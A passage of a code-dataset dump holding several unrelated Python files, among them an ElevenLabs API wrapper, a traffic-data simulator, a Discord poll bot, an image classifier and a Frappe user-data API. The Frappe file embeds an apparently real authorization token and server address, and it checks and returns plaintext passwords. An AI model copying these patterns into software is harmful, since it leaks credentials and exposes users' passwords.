[3,1,0,0,0]\n print(Solution().countBlackBlocks(3, n=3, coordinates=[[0, 0]]))","repo_name":"adanzl/leetcode-practice","sub_path":"py/q2700/Q2768.py","file_name":"Q2768.py","file_ext":"py","file_size_in_byte":2486,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"72031964311","text":"import requests\nimport json\nimport random\n\ndef getVoices(api_key=\"\"):\n url = 'https://api.elevenlabs.io/v1/voices'\n headers = {'accept': 'application/json'}\n if api_key:\n headers['xi-api-key'] = api_key\n response = requests.get(url, headers=headers)\n voices = {}\n for a in response.json()['voices']:\n voices[a['name']] = a['voice_id']\n return voices\n\ndef getCharactersFromKey(key):\n url = 'https://api.elevenlabs.io/v1/user'\n headers = {\n 'accept': '*/*',\n 'xi-api-key':key,\n 'Content-Type': 'application/json'\n }\n response = requests.get(url, headers=headers)\n if response.status_code == 200:\n sub = response.json()['subscription']\n return sub['character_limit'] - sub['character_count']\n else:\n raise Exception(response.json()['detail']['message'])\n\n\n\ndef generateVoice(text, character, project, stability=0.2, clarity=0.1, api_key=\"\"):\n if not api_key:\n raise Exception(\"No api key\")\n charactersDict = getVoices(api_key)\n characters = list(charactersDict.keys())\n if character not in characters:\n print(character, 'is not in the array of characters: ', characters)\n voice_id = charactersDict[character]\n url = f'https://api.elevenlabs.io/v1/text-to-speech/{voice_id}/stream'\n headers = {\n 'accept': '*/*',\n 'xi-api-key': api_key,\n 'Content-Type': 'application/json'\n }\n data = json.dumps({\n \"model_id\": \"eleven_multilingual_v1\",\n \"text\": text,\n \"stability\": stability,\n \"similarity_boost\": clarity,\n })\n response = requests.post(url, headers=headers, data=data)\n if(response.status_code == 200):\n with open(f\"projects/{project}/audio.mp3\", 'wb') as f:\n f.write(response.content)\n return f\"projects/{project}/audio.mp3\"\n else:\n message = response.text\n print(f'Error in response, {response.status_code} , message: {message}')\n return \"\"\n\n# print(getCharactersFromKey(''))\n","repo_name":"adithya-s-k/Storyblocks","sub_path":"storyblocks/api_utils/eleven_api.py","file_name":"eleven_api.py","file_ext":"py","file_size_in_byte":2033,"program_lang":"python","lang":"en","doc_type":"code","stars":25,"dataset":"github-code","pt":"5"} +{"seq_id":"37672695228","text":"import sys\nfrom datetime import datetime, timedelta\nimport random\nimport time\nimport json\nimport asyncio\nimport websockets\n\nurl = \"ws://localhost:4510\"\n\n# Sample data for street segment speeds.\nsegment_speeds = {\n \"8f4827ebed3c2e66f50daef967d5e91daadd8d98\": {\n \"year\": 2020,\n \"month\": 1,\n \"day\": 1,\n \"hour\": 1,\n \"utc_timestamp\": \"2020-01-01T09:00:00.000Z\",\n \"start_junction_id\": \"8e555723c3dff79036c7a8c0cef6b32a80763c9f\",\n \"end_junction_id\": \"2278ad9374ec96c35a0d769bc8a275f6355b55da\",\n \"osm_way_id\": 40722998,\n \"osm_start_node_id\": 62385707,\n \"osm_end_node_id\": 4927951349,\n \"speed_mph_mean\": 26.636,\n \"speed_mph_stddev\": 4.483,\n },\n \"df089962c85c67603f2e90c969931d72ab02c1ee\": {\n \"year\": 2020,\n \"month\": 1,\n \"day\": 1,\n \"hour\": 1,\n \"utc_timestamp\": \"2020-01-01T09:00:00.000Z\",\n \"start_junction_id\": \"5bea0e8381e051830525c0aba0141bde108dc02d\",\n \"end_junction_id\": \"2278ad9374ec96c35a0d769bc8a275f6355b55da\",\n \"osm_way_id\": 40722998,\n \"osm_start_node_id\": 5780849015,\n \"osm_end_node_id\": 4927951349,\n \"speed_mph_mean\": 25.459,\n \"speed_mph_stddev\": 3.585,\n },\n \"f32dbf217023581f429d56330be2a16410bc2809\": {\n \"year\": 2020,\n \"month\": 1,\n \"day\": 30,\n \"hour\": 8,\n \"utc_timestamp\": \"2020-01-30T16:00:00.000Z\",\n \"start_junction_id\": \"8aaf6ad421333ad741cb1d5de1e3fa83e7d0e908\",\n \"end_junction_id\": \"8bbd97259361a23d374e60e6582019550fc58e0f\",\n \"osm_way_id\": 417094233,\n \"osm_start_node_id\": 4714793573,\n \"osm_end_node_id\": 1014244233,\n \"speed_mph_mean\": 27.761,\n \"speed_mph_stddev\": 3.679,\n },\n}\n\n\ndef get_speed(segment: str, time_interval: float) -> int:\n \"\"\"\n Simulates the speed and timestamp for a given street segment.\n\n Args:\n segment_id (str): The ID of the street segment.\n time_interval (float): The time interval between speed updates in seconds.\n\n Returns:\n dict or None: A dictionary containing speed information for the segment,\n or None if speed information is not available for the segment.\n \"\"\"\n if segment in segment_speeds:\n segment_speed = segment_speeds[segment]\n # Simulate some random variation in speed.\n base_speed = segment_speed[\"speed_mph_mean\"]\n speed_variation = random.uniform(-1, 1) * segment_speed[\"speed_mph_stddev\"]\n speed = base_speed + speed_variation\n\n # Simulate some random variation in speed standard deviation.\n segment_speed[\"speed_mph_stddev\"] = segment_speed[\n \"speed_mph_stddev\"\n ] * random.uniform(0.9, 1.1)\n\n # Update the timestamp.\n timestamp = datetime.strptime(\n segment_speed[\"utc_timestamp\"], \"%Y-%m-%dT%H:%M:%S.%fZ\"\n )\n updated_timestamp = timestamp + timedelta(seconds=time_interval)\n segment_speed[\"utc_timestamp\"] = updated_timestamp.strftime(\n \"%Y-%m-%dT%H:%M:%S.%fZ\"\n )\n\n # Update the year, month, day, and hour based on the updated timestamp.\n segment_speed[\"year\"] = updated_timestamp.year\n segment_speed[\"month\"] = updated_timestamp.month\n segment_speed[\"day\"] = updated_timestamp.day\n segment_speed[\"hour\"] = updated_timestamp.hour\n\n speed_update = {\n \"year\": segment_speed[\"year\"],\n \"month\": segment_speed[\"month\"],\n \"day\": segment_speed[\"day\"],\n \"hour\": segment_speed[\"hour\"],\n \"utc_timestamp\": segment_speed[\"utc_timestamp\"],\n \"start_junction_id\": segment_speed[\"start_junction_id\"],\n \"end_junction_id\": segment_speed[\"end_junction_id\"],\n \"osm_way_id\": segment_speed[\"osm_way_id\"],\n \"osm_start_node_id\": segment_speed[\"osm_start_node_id\"],\n \"osm_end_node_id\": segment_speed[\"osm_end_node_id\"],\n \"speed_mph_mean\": speed,\n \"speed_mph_stddev\": segment_speed[\"speed_mph_stddev\"],\n }\n\n return speed_update\n return None\n\n\nasync def send_speed_updates(time_interval: float) -> None:\n \"\"\"\n Simulates sending real-time speed updates for street segments.\n Continuously generates speed updates, prints the current speed for each segment, and\n sends the speed updates to the localstack server.\n\n Args:\n time_interval (float): The time interval between speed updates in seconds.\n \"\"\"\n async with websockets.connect(url) as websocket:\n while True:\n for segment, _ in segment_speeds.items():\n speed_update = get_speed(segment, time_interval)\n if speed_update is not None:\n await websocket.send(\n json.dumps(\n {\"action\": \"kinesis-data-forwarder\", \"data\": speed_update}\n )\n )\n print(speed_update)\n else:\n print(\"Speed information not available for the given segment.\")\n time.sleep(time_interval)\n\n\nif __name__ == \"__main__\":\n time_interval = 5\n\n try:\n # Check and parse if a time interval was provided as a command line argument.\n if len(sys.argv) > 1:\n time_interval = float(sys.argv[1])\n if time_interval <= 0:\n raise ValueError\n except ValueError:\n print(\"Invalid time interval. Please enter a positive number.\")\n sys.exit(1)\n\n asyncio.get_event_loop().run_until_complete(send_speed_updates(time_interval))\n","repo_name":"FlorianWoelki/uber-movement-speed","sub_path":"simulation/simulate_data.py","file_name":"simulate_data.py","file_ext":"py","file_size_in_byte":5629,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"15819710885","text":"from flask import Flask, request, Response, render_template\nfrom iban_checker import iban_is_valid\n\n\ndef create_app():\n app = Flask(__name__)\n\n @app.route('/validate-iban', methods=['POST'])\n def validate_iban():\n \"\"\" recieves a call from a web-server to validate an IBAN \"\"\"\n data = request.json\n iban = data.get(\"iban\")\n\n if iban == None:\n return Response(\"{'Message':'IBAN number must be included'}\", status=400, mimetype='application/json')\n\n valid = iban_is_valid(iban) #Accesses the function for Iban validation from iban-checker.py\n print(valid) \n return Response('{\"valid\": \"%s\"}' % (valid), status=200, mimetype='application/json')\n\n return app","repo_name":"OliverDaviesCodes/iban-checker","sub_path":"api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":728,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"25203402166","text":"import backoff\nimport elasticsearch\nfrom elasticsearch.client import Elasticsearch\n\nfrom functional.settings import TestSettings\n\nsettings = TestSettings()\n\n\n@backoff.on_exception(backoff.expo,\n elasticsearch.ConnectionError,\n max_time=settings.es_wait_time)\ndef wait_for_es(es):\n if not es.ping():\n raise elasticsearch.ConnectionError\n\n\nif __name__ == \"__main__\":\n host = settings.es_host + \":\" + settings.es_port\n es = Elasticsearch([host])\n\n wait_for_es(es)\n","repo_name":"vctecc/Async_API_sprint_2","sub_path":"tests/functional/utils/wait_for_es.py","file_name":"wait_for_es.py","file_ext":"py","file_size_in_byte":522,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"2900596028","text":"import asyncio\nfrom discord.ext import commands\nimport discord\n\nPOLL_LIMIT = 10\n\nclass Activities(commands.Cog):\n def __init__(self, bot):\n self.bot = bot\n\n @commands.command()\n async def poll(self, ctx, *options):\n message = \"Cast your vote using the reactions below!\"\n optionCount = 1\n pollMap = dict()\n if len(options) > POLL_LIMIT:\n await ctx.channel.send(f\"I can only do a poll with up to {POLL_LIMIT} options\")\n return\n for option in options:\n message += \"\\n\" + self.getNumericEmoji(optionCount) + \" \" + option\n optionCount += 1\n \n bot_avatar = self.bot.user.avatar_url\n bot_image = bot_avatar.BASE + bot_avatar._url\n embed_obj = discord.Embed(\n colour=discord.Colour(0x5f4396),\n description=message,\n type=\"rich\",\n )\n embed_obj.set_author(name=\"Kira Bot\", icon_url=bot_image)\n \n msg = await ctx.channel.send(embed=embed_obj)\n\n #Generate reactions\n optionCount = 1\n for option in options:\n reaction = self.getNumericReaction(optionCount)\n await msg.add_reaction(reaction)\n pollMap[reaction] = option\n optionCount += 1\n return msg, pollMap\n \n @commands.command(aliases=['timepoll', 'limitpoll', 'limitedpoll'])\n async def timedPoll(self, ctx, seconds, *options):\n\n try:\n int(seconds)\n except:\n await ctx.channel.send(\"You need to give me the time first then your options\")\n return\n\n results = dict()\n msg: discord.Message\n msg, pollMap = await self.poll(ctx, *options)\n await asyncio.sleep(int(seconds))\n msg = await ctx.channel.fetch_message(msg.id)\n for reaction in msg.reactions:\n if reaction.count not in results.keys():\n results[reaction.count] = [reaction.emoji]\n else:\n results[reaction.count].append(reaction.emoji)\n sortedResults = {key: value for key, value in sorted(\n results.items(), key=lambda item: item[0], reverse=True)}\n\n message = \"Stop your voting! The results are in and are...\\n\"\n ranking = 1\n for place in sortedResults:\n message += self.getNumericEmoji(ranking) + \" \"\n ranking += 1\n for item in sortedResults[place]:\n message += pollMap[item] + \", \"\n message += f'with {int(place)-1} votes\\n'\n await msg.clear_reactions()\n await msg.edit(content=message)\n return\n \n def getNumericEmoji(num):\n switch = {\n 1: ':one:',\n 2: ':two:',\n 3: ':three:',\n 4: ':four:',\n 5: ':five:',\n 6: ':six:',\n 7: ':seven:',\n 8: ':eight:',\n 9: ':nine:',\n 10: ':zero:'\n }\n return switch.get(num, ':question:')\n\n\n def getNumericReaction(num):\n #This is a tad wonky and require the actual emoji (win + . (and not the numpad .) to access)\n switch = {\n 1: '1️⃣',\n 2: '2️⃣',\n 3: '3️⃣',\n 4: '4️⃣',\n 5: '5️⃣',\n 6: '6️⃣',\n 7: '7️⃣',\n 8: '8️⃣',\n 9: '9️⃣',\n 10: '0️⃣'\n }\n return switch.get(num, '❓')","repo_name":"shephipster/Pydrus-Tagger","sub_path":"Cogs/Activities.py","file_name":"Activities.py","file_ext":"py","file_size_in_byte":3442,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"5"} +{"seq_id":"23955129000","text":"# https://www.acmicpc.net/problem/1167\n\nimport sys\nfrom collections import deque\n\ninput = sys.stdin.readline\nv = int(input())\ngraph = [[] for _ in range(v + 1)]\nfor i in range(v):\n command = list(map(int, input().split()))\n for j in range(1, len(command), 2):\n if command[j] == -1:\n break\n graph[command[0]].append((command[j], command[j + 1]))\n\n\ndef bfs(start):\n q = deque()\n q.append((start, 0))\n distance = []\n visited = [False] * (v + 1)\n visited[start] = True\n while q:\n virtex = q.popleft()\n distance.append(virtex)\n for node in graph[virtex[0]]:\n if not visited[node[0]]:\n next_distance = virtex[1] + node[1]\n q.append((node[0], next_distance))\n visited[node[0]] = True\n\n distance.sort(key=lambda x: x[1], reverse=True)\n return distance[0]\n\n\nresult = bfs(1)\nresult = bfs(result[0])\nprint(result[1])\n","repo_name":"yellowsunn/coding-test","sub_path":"exam/20230217_트리의_지름_(그래프탐색).py","file_name":"20230217_트리의_지름_(그래프탐색).py","file_ext":"py","file_size_in_byte":938,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"33098382599","text":"import numpy as np\nimport pandas as pd\nimport cv2, random\nfrom sklearn.cluster import MiniBatchKMeans\nfrom sklearn.decomposition import IncrementalPCA\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.metrics import f1_score\nfrom sklearn.metrics import confusion_matrix\nimport time, image, warnings\n\nclass classifier(object):\n #Initializes an image classifier object. All parameters except clf have their default values set to the optimal values discovered through testing.\n \n # clf: sets the actual classifier that will be used for identifying images. This classifier must implement the partial_fit() method. Legal values:\n # sklearn.naive_bayes.BernoulliNB\n # sklearn.linear_model.Perceptron\n # sklearn.linear_model.SGDClassifier \n # sklearn.linear_model.PassiveAggressiveClassifier (RECOMMENDED)\n\n # feature_finder: A string which specifies the algorithm used to get features from an image. Legal values:\n # \"SIFT\": Slowest but most accurate. Creates 128 dimensional feature vectors.\n # \"SURF\": Slightly faster and a little less accurate than SIFT. Creates 64 dimensional feature vectors.\n # \"ORB\" : VERY fast but not as accurate as the other two. Creates 32 dimensional feature vectors.\n\n # convert_grey: Should the image be converted to greyscale before extracting feature vectors?\n\n # rootsift: Should we apply the RootSIFT adjustment after extracting features? \n # See: http://www.pyimagesearch.com/2015/04/13/implementing-rootsift-in-python-and-opencv/\n\n # pca_before_kmeans: Whether to run PCA before KMeans or after. Must be set to True.\n\n # kclusters: # of K-means clusters to use when creating the histogram of features.\n\n # pca_ratio: We'll be using PCA on the feature vectors but since we don't know the # of dimensions beforehand (depends on the feature_finder variable), we'll\n # specify the fraction of dimensions we'd like to have in the transformed space vs the original space. For example, if you'd like to have only 1/4 as many \n # dimensions after PCA as before, set pca_ratio to 0.25 .\n\n # tfidf: Whether or not to use TF-IDF vectorization before training the image classifier.\n\n # incremental_threshold: # of new images to queue up before retraining the classifier. To better understand this, imagine this algorithm being implemented in a \n # mobile app. The user of the app takes a picture, sets its category, and gives it to the app but the app won't immediately train on that image right away since \n # partial_fit() doesn't work too well incrementally training 1 or 2 images at a time. It waits until it reaches a threshold and has images of at least 2 different \n # categories before incrementally training on all of them at once. This variable specifies that threshold.\n \n \n def __init__(self, clf, feature_finder=\"SIFT\", convert_grey = True, rootsift=True, pca_before_kmeans = True, kclusters=200, pca_ratio = 0.5, tfidf = False, incremental_threshold = 25):\n self.feature_finder = feature_finder\n self.rootsift = rootsift\n self.kclusters = kclusters\n self.kmeans = None\n self.pca = None\n self.pca_before_kmeans = pca_before_kmeans\n self.pca_ratio= pca_ratio\n self.tfidf = tfidf\n self.clf = clf\n self.clf_used = False\n self.detector = cv2.FeatureDetector_create(feature_finder)\n self.extractor = cv2.DescriptorExtractor_create(feature_finder)\n self.categories = None\n self.descriptors = None\n self.des_list = None\n self.image_clases = None\n self.train_time = 0\n self.test_time = 0\n self.convert_grey = convert_grey\n self.train_queue = []\n self.class_queue = []\n self.incremental_threshold = incremental_threshold\n self.fclf = False\n \n # Performs the RootSIFT adjustment on an image when given its keypoints (kps) \n # Note: Root SIFT is adapted from http://www.pyimagesearch.com/2015/04/13/implementing-rootsift-in-python-and-opencv/\n def RootSIFT(self, img, kps):\n eps=1e-7\n (kps, descs) = self.extractor.compute(img, kps)\n descs = descs.astype(dtype=\"float32\")\n if len(kps) == 0:\n return ([], None)\n descs /= (descs.sum(axis=1, keepdims=True) + eps)\n descs = np.sqrt(descs)\n return (kps, descs)\n \n # Converts an image to grey \n \n def convertGrey(self, img):\n return cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) \n \n # Performs TF-IDF vectorization\n \n def tf_idf(self, im_features):\n nbr_occurences = np.sum( (im_features > 0) * 1, axis = 0)\n idf = np.array(np.log((1.0*len(im_features)+1) / (1.0*nbr_occurences + 1)), 'float32')\n return im_features*idf \n \n \n # Performs Incremental PCA when training images. Sets up the Incremental PCA environment if it hasn't already been set up.\n\n def PCA_train(self):\n pcafun = None\n if self.pca == None: \n (a,b) = self.descriptors.shape\n self.pca = IncrementalPCA(n_components = int(b*self.pca_ratio))\n pcafun = self.pca.fit\n else:\n pcafun = self.pca.partial_fit\n pcafun(self.descriptors)\n self.PCA_common()\n \n # Performs Incremental PCA when testing images.\n \n def PCA_test(self):\n self.PCA_common()\n \n # Helper function for Incremental PCA calling the procedures common between both training and testing.\n \n def PCA_common(self):\n self.descriptors = self.pca.transform(self.descriptors)\n if self.pca_before_kmeans:\n tmp = []\n for i in self.des_list:\n tmp.append(self.pca.transform(i))\n self.des_list = tmp\n \n # Performs Mini Batch K-Means when training images. Sets up the K-Means environment if it hasn't already been set up.\n \n def KMeans_train(self):\n clusterfun = None\n special = False\n newclusters = self.kclusters\n if self.kmeans is None:\n if self.descriptors.shape[0] < self.kclusters:\n special = True\n newclusters = self.descriptors.shape[0]\n self.kmeans = MiniBatchKMeans(n_clusters = newclusters)\n clusterfun = self.kmeans.fit\n else:\n clusterfun = self.kmeans.partial_fit\n clusterfun(self.descriptors)\n if special:\n self.kmeans.set_params(n_clusters = self.kclusters)\n self.KMeans_common()\n \n # Performs Mini Batch K-Means when testing images. \n \n def KMeans_test(self):\n self.KMeans_common()\n \n # Helper function for Mini Batch K-Means calling the procedures common between both training and testing. Also generates the histogram of image features.\n \n def KMeans_common(self):\n n = len(self.des_list)\n im_features = np.zeros((n, self.kclusters), \"float32\")\n for i in xrange(n):\n words = self.kmeans.predict(self.des_list[i])\n for w in words:\n im_features[i][w] += 1\n if self.tfidf is True:\n im_features = self.tf_idf(im_features)\n stdSlr = StandardScaler().fit(im_features)\n im_features = stdSlr.transform(im_features)\n self.descriptors = im_features \n\n # Helper function that extracts the descriptors and correct image classes from a list of images and stores them in temporary variables in the clasifier\n # for later processing. \n\n def getDescriptors(self, imglist):\n image_classes = []\n des_list = []\n for i in imglist:\n img = i.data\n if self.convert_grey:\n img = self.convertGrey(img)\n kps = self.detector.detect(img)\n (kps, descs) = self.extractor.compute(img, kps)\n descs = descs.astype(dtype=\"float32\")\n if self.rootsift:\n (kps, descs) = self.RootSIFT(img, kps)\n des_list.append(descs)\n image_classes.append(i.category)\n descriptors = des_list[0]\n for descriptor in des_list[1:]:\n descriptors = np.vstack((descriptors, descriptor))\n (self.descriptors, self.des_list, self.image_classes) = (descriptors, des_list, np.array(image_classes))\n \n \n # Adds a list of images to the queue to be trained. If the queue is over the threshold, then training will begin.\n\n \n def incremental_train(self, imglist, threshold = None):\n if threshold is None:\n threshold = self.incremental_threshold\n random.shuffle(imglist)\n tmptime = time.time()\n for i in imglist:\n self.partial_train(i, threshold)\n self.train_time = time.time() - tmptime\n \n # Helper function that adds a single image to the queue and will call train() if the threshold is reached.\n \n \n def partial_train(self, img, threshold):\n self.train_queue.append(img)\n self.class_queue.append(img.category)\n self.class_queue = list(set(self.class_queue))\n if (len(self.class_queue) > 1) & (len(self.train_queue) >= threshold):\n self.train(self.train_queue)\n self.train_queue = []\n self.class_queue = []\n \n # Helper function for trainling a list of images. Guides through feature extraction, PCA, K-Means clustering, hisogram generation, and fitting the histogram.\n # Please don't call this function directly; use incremental_train() whenever adding new training images.\n\n \n def train(self, imglist):\n self.train_time = time.time()\n self.getDescriptors(imglist)\n if self.pca_before_kmeans is True:\n self.PCA_train()\n self.KMeans_train()\n else:\n self.KMeans_train()\n self.PCA_train()\n if self.clf_used is True:\n fitfun = self.clf.partial_fit\n else:\n fitfun = self.clf.fit\n fitfun(self.descriptors, self.image_classes)\n self.train_time = time.time() - self.train_time\n \n # Takes a list of images and predicts the classes they belong to and compares those predicted classes with their actual classes which, in turn, is benchmarked \n # in the form of an F1 score.\n \n def test(self, test_cases):\n self.test_time = time.time()\n answer_list = []\n for i in test_cases:\n answer_list.append(i.category)\n answers = np.array(answer_list)\n self.getDescriptors(test_cases)\n if self.pca_before_kmeans is True:\n self.PCA_test()\n self.KMeans_test()\n else:\n self.KMeans_test()\n self.PCA_test()\n predictions = self.predict()\n self.test_time = time.time() - self.test_time\n return self.benchmark(answers=answers, predictions=predictions)\n\n # Takes a list of images and predicts the classes they belong to and generates a Confusion Matrix instead of calculating an F1 score.\n \n def confusion_matrix(self, test_cases):\n self.test_time = time.time()\n answer_list = []\n for i in test_cases:\n answer_list.append(i.category)\n self.getDescriptors(test_cases)\n if self.pca_before_kmeans is True:\n self.PCA_test()\n self.KMeans_test()\n else:\n self.KMeans_test()\n self.PCA_test()\n predictions = self.predict()\n predictions_list = list(predictions)\n self.test_time = time.time() - self.test_time\n index = list(set(answer_list + predictions_list))\n conf = confusion_matrix(answer_list,predictions_list,labels=index)\n header = []\n myindex = []\n for i in index:\n header.append(\"Predicted \" + i)\n myindex.append(\"Actual \" + i)\n return pd.DataFrame(conf,columns=header,index=myindex)\n \n \n # Helper function which takes the descriptors (expressed in histogram form) stored in the classifier and predicts the image classes from them. \n \n def predict(self):\n return self.clf.predict(self.descriptors)\n \n # Takes the path to an image, predits its class, and \"writes\" the class onto the image and outputs the result as a new image at the path specified in newimg.\n \n def predict_and_visualize(self,imgpath,newimg):\n img = image.image(imgpath,\"None\")\n self.predict_and_visualize2(img,newimg)\n \n # Helper function which works like predict_and_visualize() except it takes an image object instead of the image itself as an input.\n \n def predict_and_visualize2(self,img,newimg):\n dummyimg = image.image(\"dummyimage.jpg\",\"None\")\n dummyimg2 = image.image(\"dummyimage2.jpg\",\"None\")\n dummyimg3 = image.image(\"dummyimage3.jpg\",\"None\")\n dummyimg4 = image.image(\"dummyimage4.jpg\",\"None\")\n if img.data.shape[0] > 600:\n b = img.data.shape[1]*600/img.data.shape[0]\n img.data = cv2.resize(img.data,(b,600))\n self.getDescriptors([dummyimg, dummyimg2, img, dummyimg3, dummyimg4])\n if self.pca_before_kmeans is True:\n self.PCA_test()\n self.KMeans_test()\n else:\n self.KMeans_test()\n self.PCA_test()\n prediction = self.predict()\n ptext = prediction[2]\n cv2.namedWindow(\"Result\", cv2.WINDOW_NORMAL)\n pt = (0,3*img.data.shape[0] // 4)\n cv2.putText(img.data, ptext, pt, cv2.FONT_HERSHEY_SCRIPT_COMPLEX,2, [0, 255, 0], 2)\n cv2.imwrite(newimg,img.data)\n\n # Takes the actual classes (in answers) and the predictions made (in predictions) and calculates the F1 Score of the predictions. \n \n def benchmark(self, answers, predictions):\n try:\n with warnings.catch_warnings():\n warnings.simplefilter(\"ignore\")\n return f1_score(answers, predictions, average=\"micro\")\n except ValueError:\n return f1_score(answers,predictions, average=\"binary\", pos_label = answers[0])","repo_name":"xjdeng/bag-of-words-image-classifier","sub_path":"classifier.py","file_name":"classifier.py","file_ext":"py","file_size_in_byte":14084,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"12332069491","text":"class Response:\n ''' A Response class wrapper for all HTTP responses'''\n\n @staticmethod\n def success(requestId, message='success', data=None, responseCode='00'):\n \"\"\"Returns a success HTTP response\"\"\"\n return {\n \"requestId\": requestId,\n \"message\": message,\n \"responseCode\": responseCode,\n \"data\": data,\n }\n\n @staticmethod\n def error(requestId, message='Error occured while processing your request', error=None, responseCode='99'):\n \"\"\"Returns a failure HTTP response\"\"\"\n return {\n \"requestId\": requestId,\n \"message\": message,\n \"responseCode\": responseCode,\n \"error\": error\n }\n","repo_name":"moostee/CrowdFundingAPI","sub_path":"src/Utility/Response.py","file_name":"Response.py","file_ext":"py","file_size_in_byte":721,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"2501217006","text":"from pypy.jit.codewriter.policy import JitPolicy\n\nclass PyPyJitPolicy(JitPolicy):\n\n def look_inside_pypy_module(self, modname):\n if (modname == '__builtin__.operation' or\n modname == '__builtin__.abstractinst' or\n modname == '__builtin__.interp_classobj' or\n modname == '__builtin__.functional' or\n modname == '__builtin__.descriptor' or\n modname == 'thread.os_local' or\n modname == 'thread.os_thread'):\n return True\n if '.' in modname:\n modname, _ = modname.split('.', 1)\n if modname in ['pypyjit', 'signal', 'micronumpy', 'math', 'exceptions',\n 'imp', 'sys', 'array', '_ffi', 'itertools', 'operator',\n 'posix', '_socket', '_sre', '_lsprof', '_weakref',\n '__pypy__', 'cStringIO', '_collections', 'struct',\n 'mmap']:\n return True\n return False\n\n def look_inside_function(self, func):\n mod = func.__module__ or '?'\n\n if mod == 'pypy.rlib.rbigint' or mod == 'pypy.rlib.rlocale' or mod == 'pypy.rlib.rsocket':\n return False\n if '_geninterp_' in func.func_globals: # skip all geninterped stuff\n return False\n if mod.startswith('pypy.interpreter.astcompiler.'):\n return False\n if mod.startswith('pypy.interpreter.pyparser.'):\n return False\n if mod.startswith('pypy.module.'):\n modname = mod[len('pypy.module.'):]\n if not self.look_inside_pypy_module(modname):\n return False\n\n return True\n","repo_name":"Nuitka/Nuitka-references","sub_path":"other/pypy-hg-04112011/pypy/module/pypyjit/policy.py","file_name":"policy.py","file_ext":"py","file_size_in_byte":1658,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"22794880977","text":"import frappe\nimport requests\nfrom frappe import _\nfrom frappe.utils import getdate, date_diff\nfrom frappe import _\nfrom datetime import datetime, timedelta\n\nsuccess = 200\nnot_found = 400\n\n\n# @frappe.whitelist(allow_guest=True)\n# def get_user_profile(email, password):\n# try:\n# representative = frappe.get_doc(\"Mobile Users\", {\"email\": email})\n# if not representative or not frappe.utils.password.check_password(\n# representative.password, password\n# ):\n# frappe.throw(_(\"Invalid email or password\"), frappe.AuthenticationError)\n# profile_data = frappe.get_doc(\"Mobile Users\", representative)\n# user_data = {\n# \"full_name\": profile_data.full_name,\n# \"email\": profile_data.email,\n# \"mobile_number\": profile_data.mobile_number,\n# \"image\": profile_data.image,\n# }\n# return user_data\n# except Exception as e:\n# frappe.log_error(title=\"failed\", message=e)\n# return {\"failed \": False, \"message\": str(e)}\n\n\n# ###################\n# @frappe.whitelist()\n# def get_mobile_user_data(customer_name, email, password):\n# try:\n# # Check if customer_name exists in Mobile Customer Master Data doctype\n# customer = frappe.get_doc(\n# \"Mobile Customer Master Data\", {\"customer_name\": customer_name}\n# )\n# if not customer:\n# return {\"success\": False, \"message\": \"Invalid customer_name\"}\n\n# # Make an HTTP request to the server with Mobile Users data\n# url = f\"http://94.250.201.76/api/resource/Mobile Customer Master Data/Onco/get_mobile_user_data\"\n# payload = {\"email\": email, \"password\": password}\n# response = requests.post(url, json=payload)\n\n# if response.status_code == 200:\n# data = response.json()\n# if data.get(\"success\"):\n# return {\n# \"success\": True,\n# \"message\": \"Validation successful\",\n# \"token\": data.get(\"token\"),\n# \"mobile_number\": data.get(\"mobile_number\"),\n# }\n# else:\n# return {\"success\": False, \"message\": \"Invalid username or password\"}\n\n# return {\"success\": False, \"message\": \"An error occurred\"}\n\n\n# except Exception as e:\n# frappe.log_error(\"Error in get_mobile_user_data\", title=\"API Endpoint\")\n# return {\"success\": False, \"message\": \"An error occurred\"}\n\n\n@frappe.whitelist(allow_guest=True)\ndef get_userdata(email, password):\n try:\n hub_endpoint = (\n \"http://94.250.201.76/api/resource/Mobile Customer Master Data/Onco\"\n )\n header = {\"Authorization\": \"token a36b58072b4844c:2d936d76c477a78\"}\n\n response = requests.get(hub_endpoint, headers=header)\n response.raise_for_status()\n\n data = response.json()\n\n customer_name = data.get(\"data\", {}).get(\"customer_name\")\n is_active = data.get(\"data\", {}).get(\"is_active\")\n user_data = None\n users = data.get(\"data\", {}).get(\"users\", [])\n for user in users:\n if user[\"email\"] == email and user[\"password\"] == password:\n user_data = {\n \"name\": user[\"name\"],\n \"full_name\": user[\"full_name\"],\n \"email\": user[\"email\"],\n \"password\": user[\"password\"],\n \"token\": user[\"token\"],\n \"mobile_number\": user[\"mobile_number\"],\n \"address\": user[\"address\"],\n }\n break\n\n if user_data:\n return frappe.as_json(\n {\n \"customer_name\": customer_name,\n \"is_active\": is_active,\n \"user_data\": user_data,\n }\n )\n else:\n raise ValueError(\"Invalid email or password\")\n\n except requests.exceptions.RequestException as e:\n raise ValueError(\"Failed \") from e\n\n\n# @frappe.whitelist(allow_guest=True)\n# def get_userdata(email, password):\n\n# hub_endpoint = \"http://94.250.201.76/api/resource/Mobile Customer Master Data/Onco\"\n# header = {\"Authorization\": \"token a36b58072b4844c:2d936d76c477a78\"}\n\n# response = requests.get(hub_endpoint, headers=header)\n# if response.status_code == 200:\n# data = response.json()\n\n# # customer_name = data[\"data\"][\"customer_name\"]\n# # is_active = data[\"data\"][\"is_active\"]\n# # users = data[\"data\"][\"users\"][0]\n# customer_name = data.get(\"data\", {}).get(\"customer_name\")\n# is_active = data.get(\"data\", {}).get(\"is_active\")\n# user_data = None\n# users = data.get(\"data\", {}).get(\"users\", [])\n# for user in users:\n# if user[\"email\"] == email and user[\"password\"] == password:\n# user_data = {\n# \"name\": user[\"name\"],\n# \"full_name\": user[\"full_name\"],\n# \"email\": user[\"email\"],\n# 